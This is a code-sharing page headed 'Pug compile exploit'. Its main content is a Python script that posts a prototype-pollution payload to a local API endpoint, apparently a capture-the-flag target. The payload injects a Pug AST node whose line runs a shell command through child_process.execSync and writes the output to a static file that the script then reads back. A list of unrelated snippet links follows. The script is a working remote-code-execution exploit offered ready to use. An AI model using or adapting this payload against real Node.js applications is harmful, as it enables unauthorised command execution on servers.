Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

1 vote264 views1 answer
Usong brave browser pyhton
Python
0 vote239 views2 answers
Pandas fillna multiple columns
Python
0 vote204 views1 answer
Change date format on django templates
Python
0 vote238 views1 answer
Shutil.make_archive
Python
1 vote186 views3 answers
Python create file if not exists
Python
1 vote235 views2 answers
N factorial
Python
0 vote227 views1 answer
How to show rosbag file python
Python
0 vote229 views1 answer
Example python
Python
0 vote245 views1 answer
Values django
Python Django
1 vote216 views1 answer
Simulate webcam and microphone selenium
Python